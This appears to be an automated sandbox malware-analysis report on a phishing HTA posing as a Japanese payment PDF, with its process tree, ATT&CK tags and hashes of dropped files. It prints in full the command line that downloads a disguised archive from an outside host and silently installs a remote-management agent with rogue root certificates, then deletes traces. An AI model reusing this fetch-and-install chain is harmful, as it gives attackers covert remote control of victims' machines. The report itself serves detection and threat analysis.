C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4912
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_T8AJAM1U.zip" "https://ssmail.ink/down/223/setup.png" && if not exist "%TEMP%\extracted_T8AJAM1U" mkdir "%TEMP%\extracted_T8AJAM1U" 2>nul && tar -xf "%TEMP%\file_T8AJAM1U.zip" -C "%TEMP%\extracted_T8AJAM1U" && cd /d "%TEMP%\extracted_T8AJAM1U" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_T8AJAM1U.zip" && rd /s /q "extracted_T8AJAM1U" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵
- System Location Discovery: System Language Discovery
PID:4456
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_T8AJAM1U.zip" "https://ssmail.ink/down/223/setup.png"3⤵
- System Location Discovery: System Language Discovery
PID:1480
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_T8AJAM1U.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_T8AJAM1U"3⤵PID:4920
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵
- System Location Discovery: System Language Discovery
PID:1000
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:872
-
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
1File Deletion
1Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e592bdd.rbs
- Size 63KB
- SHA256 1d81c7530c12dddde99fcb6b74df4038903e6aae983a9d1393da59e8386b3a32
- MD5 07de08366ac156fdb5c90fbbfcde8fa7
- SHA1 26fb79fb17afbe3e1dec4b2e2a7a8d2c6813f483
- SHA512 b814a88213647abbdd51f83ef4ad88c60457e42496446d39616ef95a3211c52cb72b9b4fe4895670fe736cb3392e6e016bfebf4dcb6a122e8c5693bc1234064b
- SSDEEP 768:rlvw1oOjyhMzY7yjDO+GLRt5eUke4OK09JMJl4ImBVb9:J8oGyh7UDO+7niygzb9
- TLSH T15E537366DB26E2CBD1152AF63381AD1806098C7B66F0C47E13186D37C4DBB457EBF868
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e592be3.rbs
- Size 546B
- SHA256 2d3ff68667e5e0007dbf6ec171c5a09cec6d722176f88ea05da34c33c8c53fd3
- MD5 eac1f78f3ada924c32d6b0c0fafad1fa
- SHA1 88644f85ac1fc8b147257cc8f03ab17dafa7349e
- SHA512 0328a7ea40a3ff8090df162e2dba126f5c9250ff6b062ba048426fa0219ce96454b17369c7a864d169915ed9d21b08afa6091d016026fdccbcf2c23de88de67e
- TLSH T110F05996E70846E2F5506F3A12076F240A2FE17A91D886BA2E9451347E2271A5EBA0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Config.Msi\e592be7.rbs
- Size 8KB
- SHA256 7dea90458d01d491a63775a1632693b7eebba82e9ba5af9b98ad7afef3188c1d
- MD5 d63a966193a80ea897890d55304b5a8a
- SHA1 4ce934d088a5a0c3b68e6326f058184b11c8fc0b
- SHA512 1edb6297607af04d071b78d9fb2291c2b58f05f8558d9a242c779c23785ceeb20674f6f3f9dbbefaed816186cd758176cfa43f8c7e45f6a5c821bb13918daa76
- SSDEEP 96:9E0d4jd4JJ2XovzpzvWeUKL4uRTJJKb5HO2nqcR9iKVe4e+ThqkxeOThqkOWSiiR:9V4R4JQXovhvYKLJTJQb5H9nfVeIxQx
- TLSH T15A020016F70497C2C8552B34E5071B14376BCDFB86A5827F024CA8319ACB749AFFB94A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e592be8.rbs
- Size 546B
- SHA256 40b4c6e7c7dc131d8574c7f56d77d05b4ce1747f0db90e2af0b8157dfc8ae487
- MD5 c80dd162a67f3b1f1828a30c2aa1c76c
- SHA1 f94f6eb71cabee9f677ea616c15d6c8697a81d8c
- SHA512 82153a423fa1cf3893f226de8c1e22ba3fbb6564763b0aa4bde79cfd3a25d40be1ebc49e1bb835f16280e61ffd1bd628af95f44e90e499404eeff8576ed13079
- TLSH T121F05996E70846E2E5506B3612072F141A2FE17A90D8467A2D9451347E2271A5EFB0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 65112e6414a627dc90d55f6b333b0d4de6f15970427e03c60577348cd6ea2978
- MD5 a48ca30eb6edef8c384b3bb57935c779
- SHA1 ba5b25e8deeb51f0c0f8a993a3cdfa6f7479d7f7
- SHA512 33ffadaace4badb99856a8d75e2f93a98a34c6dcde81a16a555c7daae13b7bba569f7934ccb9fe4f18e209935707bb713b10d7ad320c0fe35aa95a409ba5f842
- TLSH T12021B74351ECC889BF1D6D5809C84D078187DB690F981E0B30796AD22D53658F78C3A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 9686afe1af42fcc33d6ddc18866e2c73d9d5a51c54935ea06d1afcfeb81470fc
- MD5 b03f139c43f82e15ed7ea17bd936dcf0
- SHA1 fd9dd1066dfe3825dde415c0d4155fe969f6f6d0
- SHA512 46e41c6b7305bcdff693d11e777b5772bc244cdf9d39e96ab950919214fd380a74c771304552f7c16910c1c89d9576287caba0fa5a15c46108cc4880c7656081
- SSDEEP 49152:Pg2pzZ21QzJJC9d/ImYL5lYbyMffECDYBPkPzUVGrXvPU5BLBjAKnbwk1S:PgE1PJo9d/ImYNlYbyMffE8nwA
- TLSH T119E59E07FB83D5B1DD8E027801B79B7F5D3A8D184B2089E39B9029ADA8761D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
- Size 250KB
- SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
- MD5 a2fb219c999a8fa6b95ad7c24890072e
- SHA1 d0a396e49e4a5cca88e454e3463b7b6b4d57cddb
- SHA512 aca3eaa61261f2bf3d1da691b2d6e48e70efb139238d7b885559573d325449aff9a21452903553799b47c8bdfefe242b1b29b31225e94871767acdd8257066a2
- SSDEEP 6144:7gdw3WS+AcP021JmpP4D5NFhW9FNOj23RHbu6wtAadMYAm/o:7gOm2pgNFhQy29buHt//W
- TLSH T13544123CE5D727C68951C1A34D18A3DE329CF8AE5C56FBA5349AF8BC8CC15130B5EA81
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 5cf8b9eaf737aa8a2c99b264d39476f39d0b1ee21f2e766cdb135c41beb3998c
- MD5 9eae1b342e93d2ae0558377e7666fb0d
- SHA1 3f8620091bf8cf4532dcb6a2100ef3123a45817a
- SHA512 035d3577ccccb6a4bf4fbe4176a56da6be461665f130516b3ba79dad4fbd91c054b123ef9ce1306412e6a4451e0058d87386d2d94f99a98cf4c1ea2a7040f03e
- SSDEEP 6144:Q0hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGV2f:QkKB2NPd4sEL90IdI1PbyrPP/
- TLSH T173A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
- Size 30.2MB
- SHA256 e36d23e4db62cd76985e6de144daea97efebaa98fc190583ba580f1e4e9daabb
- MD5 29ecf91819790785a096a838da7d041a
- SHA1 abdc86a8144a71e9fd26d0c7dcbbb6a5ca3c7883
- SHA512 d7adeede7db4e42aea3efd9d83d7d200b9a62abd0e874b6beb128a5691848e637287a88d58a072ccc06ba2bbd45bebc806c62e1c017db0e92bc970324946907c
- SSDEEP 786432:WnXwXxKxDw5AqWpHKFmJzjH2fmC/qEROgoj7qvWew1sjrW:WnHwvY6mJzr2fmC/qEROgoj7qvWewae
- TLSH T10D6733EDCC0CDE59C0AEC8B15C9D9F84590D07E4F0B96036BA983DFA92ADD41A35D398
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 cbaa12a8911619f601828b3396a743d586086139982f0fdb1d33517fe9b049da
- MD5 ddca9fa71465d3fd78bebac4a849bf5e
- SHA1 3899eb3c09690d7d907bf16dc52b68a2efbca6b6
- SHA512 2770b5da18e8246b2b7a4c7bd02d62b47fa0366c199eb726777baeb6b86f340d5a0e9d5cbf8db0acc668ab51a591056bf55d99fbbda51781aae19c839d15dd51
- SSDEEP 3072:dR7kVnRpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTAI:dR7kVn5weorw3RrDpfNtnVCXkZosut1H
- TLSH T160348E6175D0C072D9A304369CB8DBB6597EF8200F71A5DB63980A7FDE206C29B7171E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 6643df48d1424ec944cb6ce02743faed29b4965b5a1dd74dd35c7d9d35267c1d
- MD5 20642fcbe9c9b55044ad903bddebc947
- SHA1 82ce06ba6d9ffa53dbc5b09d52d13b52ec4c66a3
- SHA512 a3f22104ec347cf3ad194a85244cc53be757323ec415f16dd2fe800c5c2cc361542d89da3bd07a16e314aa3abf45ac9af441e8013b0e89d9d9b94fd15e7efbcf
- SSDEEP 24576:UoBzHWp8YBaL3+sLf1DqgXTFcrDSH+MdDXKCLynuu8DtQdVLnQWPPt31yne0iAD:DRtT9X6r5Kk8eVLnQneXAD
- TLSH T1C075AE1372428035D6A100B15939ABB5AFBDAD640F31C4F3A3C4997DC5E09D2A73EB7A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
- Size 1.3MB
- SHA256 b2ca653441c0ef63e25f21c9016b39417d3c2e111cbbf9349a0fd7da440bf56f
- MD5 edf97fb396f6ed4e0ca9e94c54197a20
- SHA1 2920a5b80699664167206a7b3dfaef413c9ac65c
- SHA512 d15e1a8519a4df4405b7292a6af757333a6ebd49a606144a97166599e6576e595319dc5c989323459631d47bae7f0559cfdfae8ac2b5c3cf43c42d54a62337f0
- SSDEEP 24576:wxcYsiKQfBX7CuCHeltz85M9njDUQRDyBDHHb6MBAPtYBAje5G:I7XTTtziO/fRab680Z
- TLSH T18155BF1372528031D5B1C0F19929EB76AF6C9928176294F3A3C49FBD01E45D2AB3FB1E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-database-settings.xml
- Size 197B
- SHA256 1acf861ddbabb4864373aa0f8e4d968dd8aab2230c4ed1761184c3f5f98b0201
- MD5 8045ef96c4071df39302ec3f0080f352
- SHA1 99a2f7f43ab7d0d338625e93b31969f3057719d8
- SHA512 85227c49c21fb4845c5f76f9f0ff1f95b6c03e7bb2144102d47fe55ba4a77fe5191b61baccf5f687c6cac033b18cd1ee29364d0429dbf2d0c7d227ae5eaab5c5
- TLSH T194D012A83540E02F4BB49330D7BD87188366768681355B34A820C03636514D16BDBAD4
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml
- Size 371B
- SHA256 1169b83305a16f5bc32b0ef326f905b50c9e1bc7c3ce9814161c6cd40e7a0eb9
- MD5 0270d6fa7f0143be968badf7fc38fa83
- SHA1 d7d3015cee1b5dc18ba257812ce7893ea5ee6bc8
- SHA512 ccffe9ac92c78fd5fe3dc0283e27ec79f9a2c7c669f72c0912b4993b4d4aa5c842a6c42cee97ad0cf144a5bdf1cc2143ea544122cfb29c9fef0daeb1367d557a
- TLSH T185E0DF3429888C8D1368EBC2D75CE8004C8A3217381F2CA8A066BF17167E7873D63AA4
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\server-certificates\SecureCommDetailsV2.json
- Size 4KB
- SHA256 8a57ebb1161ee1288ba59b0f05326136a72d67bb07d4bfd19e98ffa9ce99d108
- MD5 7dc8b5b0c9f3e6b0175c86ef4ad05971
- SHA1 81ea5fb4b4df3d10e2774016161b901da0067c64
- SHA512 5c3bd89919e20e9ea5c852e3535a174b0d55c4ea19110ac0441f0317e5281aa4c821dc8e6d30323b10592a649bf599db2d1af688d50e0d054cb6eb6733b92286
- SSDEEP 96:RO063Al7RpGibbw8KH+enu4a7vKv32CAEV:RO93AljpKH+f4a7vKvjH
- TLSH T141914B48B684113EDAB53B1B19F6667B42F41945483B638EE2BF347583F0794D80F0A9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml
- Size 43KB
- SHA256 f58ab17012f3140d03c8bc15dd725cf6a1c68b086f04787c5cc9828ff2a32c62
- MD5 eddf4da3c4c705111249ac6b9b71fbc5
- SHA1 6c2dbee0b4ce096339894e0b18a40cb951ee63c1
- SHA512 175c9b3be0ed6b53d0f26431d4379b5d0ffa2328f9d496688cd47761d608333d73a2df561391c691d561d5c19d8bdf7aa1d99d668f0c136b18e8346c1b2d6a1c
- SSDEEP 768:KNnPy81j0eeSu1UQmq1ydr/bxS6NS8H9tVUA5QjbOFnRf1AOMuFUJ9Cj7:M1Qedu1UQmq1ydr/bw6NS8H9tVUA5QjU
- TLSH T1AF1363E637D21A254551B0DE87FD4E8062A7FBDF892B1BC830A06875931B7F73A47212
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\log-upload-settings.json2628.tmp
- Size 974B
- SHA256 23ded2da0991000a37473ba9c41901d92cf80191b660aeb9273d597708f33739
- MD5 8f10101dcb6a4ca9be54b953a90b54e8
- SHA1 f7dd1ebb93aa4d6551bc5646029d23425142ee80
- SHA512 e57121365a2cd3d8fdd996d78ebf6502311798bbc95f71b9cf0e5add2d00fcc8b9bcb9ac1b30b509fed3a98b907fd73f7139dabe2f952626a7fdda1018b92e1f
- TLSH T1C7119BF2C7161C8F7570100854668D08B78B3F0B43E5890771B62BEA1F2E5B9050D32D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\windows-agent-meta.json
- Size 3KB
- SHA256 adfacc82fe16cffa187c0658587e2465d6ad5f7ed9fe3e364cd8454cf5d73484
- MD5 ef298326973c8b28197b7d0a010ad1df
- SHA1 0e6f386ad4a6cb75a910aae240c8bd60fbb208c4
- SHA512 c3195f5382ea18f4b06ea1c0e018744e42eed8de20ed72f09b491b7a11bc75e73c17615ea5c0977cdf83f57762aa50e85f9c14bf74527c4d2f2888036a16465c
- TLSH T124811E790432DEB8A7B491FFD617FC798633365B0BCE2866A4EA5E8F0141438676F406
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\office-ctr-settings.xml
- Size 18KB
- SHA256 3f969548645cfd69813807fb92cafb38d19a904d7c43ca79364a27d9dc71e31f
- MD5 71b091039194fec635fa4ebe5032c96b
- SHA1 dac6711a77a9d78011a4aabc1bd06c894edc2e13
- SHA512 0dfd2d260a4e0a28df9210cde52a482189ff95fa03a8905591fee285b4fc5b51544b807b5e83ac7bb358428ac29f93619d1d289c054e6f9c24c82fc0f3925c69
- SSDEEP 384:c4T/2HUgo3k4eChBoSrnglWZCOysSc4s5kp2:c47uz4eCjoSrfZv4s5kI
- TLSH T1F3826641EE76E45DB3AB0227AB95EC09587A86C294045C13FBB77E360AD33C75AE3314
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz
- Size 368KB
- SHA256 f9f0361b337910fbbf67254fe26274cae2674aa0c420a62ee4855db39777cf98
- MD5 e2a8cc459235db5a774ce17026e04fbb
- SHA1 46b3c2d919c5bfd2ba149ff5cf0b68827f925973
- SHA512 d0ebdb3509ef18ac3ff5206a5aa2d2080107164d0adb42e10edc14600fc3a5f25f9997e5a6dd2fd96eece4958aca5d48639a280be290505b6efe26eb6d3edfe3
- SSDEEP 6144:w6+UasNeoGlbXmR7PW1aMADHgKWIcQlH02WK/+wX4V9+YGqswg:MrvXCiUb3lxWQ+u4vCmg
- TLSH T13484237EC17664A83B974630F8DE48129CCEF2720CF1C55A5B9CBA89458EC355A07C9F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\upload-patches.json
- Size 5KB
- SHA256 5be9e10d27710f49610ae2ffb057b3e04f8a17f9551f909f6a0f753ad9b1ede8
- MD5 2994d81adda9a0a0d4a4eb6ca5a754ad
- SHA1 816c6435583ad6045cce7868119dffa19de37800
- SHA512 11b20452b6757ac3687c4cfa019ca178f5bf0169f19570903237187f917a249af50edb9d4a583ee75dae57695da22bf35ce57f77dfd8f257d5334320cc69043a
- SSDEEP 48:Y0triiwNahcc7Ue/u4lvqly4bqO6xNj4sJ/DGkzHomCd+jfeNOpBHWigSbp0V/Dv:lUNahD4e/WlQj/L8mkJpigWU/Dv
- TLSH T197C1B3A510435CC9759CC90A71BBEA05848CBA536C75B84A355D0DD28FAF00E27FAEBF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
- Size 28KB
- SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
- MD5 91825b38605d333662195bd3b42c869c
- SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
- SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
- SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
- TLSH T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz
- Size 2KB
- SHA256 5261b3e69078e902b1de05968785674565757a2fe8233b3d892e7b796ca6a537
- MD5 2420f77785bfd564950ed284dd4c5caa
- SHA1 77c995053109d0222a4d84a2a934df3a7376c8a2
- SHA512 827e27d8a0cedc6d1a492bc5fd9d519e1df714f4e3aad854972fd41fe48a5e08c3c6659cab7e2497b068c50c1d0ea4f3584c9ce2dd1a75f6a86bf23b1a8767f8
- TLSH T191515C122CE87E5B3441C60775C2BCF59CD7876820DD698D946C6F0853936773B71C86
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
- Size 15KB
- SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
- MD5 cf5799838289c42502297f17ca89b49b
- SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
- SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
- SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
- TLSH T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml
- Size 5KB
- SHA256 47e284135f307b1479e2ad10fb14ce595f259a2412900680cd83ec83f153e082
- MD5 6d7babefb1295c0ae36f22d3d5d71aa7
- SHA1 04d53eb17ecab76480b0de02b84c0db04327867d
- SHA512 0f696169adc02975c7d53f88523be8158155e6394ac149345448c163ac5470f7bf382573879ddccfec34a0e6a397ee53c2bbfff8ce680d84e69fb7d1a4365c3b
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFb4lqiNKhss/EAA:gUGHElZh0vKHzA
- TLSH T1EBB13110A0A18F6913B1775C9A5AEA55CD1602A5360E1E05F02D39A70F3EFC37DB74F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
- Size 247KB
- SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
- MD5 ff5c89c88fe59a341aa4fe80b6f58215
- SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
- SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
- SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
- TLSH T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json
- Size 5KB
- SHA256 0606444b9a6f10ffca5636af1d0bcb67e1a8a629d983cf0912e72cbe46093264
- MD5 004e709632dcf813b345ac095da03c35
- SHA1 a2c40bba42b921d85f608bf0920a5f24bc2d2d8c
- SHA512 d64a716fa724665abe2017aca2d0eb3c392a29bb7b8389bcff3609e617b26d2700ad906e5199189434a1219dda2443cf0a472c55bb5b57fd3418f8a25d0d69ed
- SSDEEP 96:6ogiQsvAZv56hRDJuNtEe89BJ7FPCnUEt:6ogiQsvAZv56hRDJuNtEeYPCnUEt
- TLSH T1C1C1B3D4B1AF4CFD46C6F55A4D5DC06ABAA6F522F1E94C0C3689FC48CECA099F392424
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
- Size 413KB
- SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
- MD5 a450789f0d23503c895bafaed3d4be27
- SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
- SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
- SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
- TLSH T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
- Size 109KB
- SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
- MD5 b39316c180a11c7cbefd08019ad9c97d
- SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
- SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
- SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
- TLSH T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
- Size 1.6MB
- SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
- MD5 ac79e017281cd633fb90c06a19a180fc
- SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
- SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
- SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
- TLSH T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ds-server-infoV2.xml
- Size 793B
- SHA256 d66d79090ad0855c2f8bb7972d111f152601484c8cf7d866b21b7e218f6e9a54
- MD5 373213fa17c20ac28adcb6f135d1c47c
- SHA1 b4a92e5bbbb38f18a498a00e58e5f6fc448722c2
- SHA512 d32fa968ec2a12a4ae081ebeeaa7a577ea0060ce45559cae4bbd693cb14de198e13af51fa565a979cbaeeb6d11951a058fe1c99bee848383fa7040a78f0ba090
- TLSH T1A1017112B843DDE92362BB84278D881A9E542426711F2C607155BE958A3EFE31C7347B
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml
- Size 6KB
- SHA256 63edf43b0c2a4344c6537010fe9ce49a18e437fa1f95b4133e1dd29d82489116
- MD5 ba4b26552517c5315613cede2fe959b6
- SHA1 3c377bdaa23b4881e0f6682981ec4030ec23b289
- SHA512 22e4797bc236b24a92cbd6d13c3462ba88f3532bc83f963ea2f1b38cc799050c666ddea441ad0fc8e095b74e716c70a84cbf9e5bca385aa4547a9643cb5fb007
- SSDEEP 192:dmU/UEUkU2UZU+UAU4U7UKUkuU5UEU5/U4UdUoUMURUvUEU7UTUMUrAU2UPULUrB:Mk9RB69zn+FM8VK/V6HDmG9oED+An+uI
- TLSH T1C9D18E602BCB9CF81594FA0C8F4CD820F9A1F61761AD505536E9BC448EFB8D73EB2069
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\on_demand_connection_config.json
- Size 651B
- SHA256 4f61d56afe70c3ce25a61e3e17873df2c9c518425c63d1d61fb494c8c92f6e70
- MD5 725087d70a8e693d7613500887dd3d1f
- SHA1 ae8bcf03c0bba4f3db64c5dae1913350deebe196
- SHA512 555ea098dbe490c214340e99635223bfbfc86a6a13064284cf8df4f1c7f77261d84f2b32dd9ac8177b01547b1be1c093401df069d652d2b7ff971ce2dc5cd119
- TLSH T1D0F02600568E2CA725FBD0887772B41B375C18E6D5E2FC90E57B46ED1BC53B08207A26
- MD5 SHA1 SHA512 TLSH
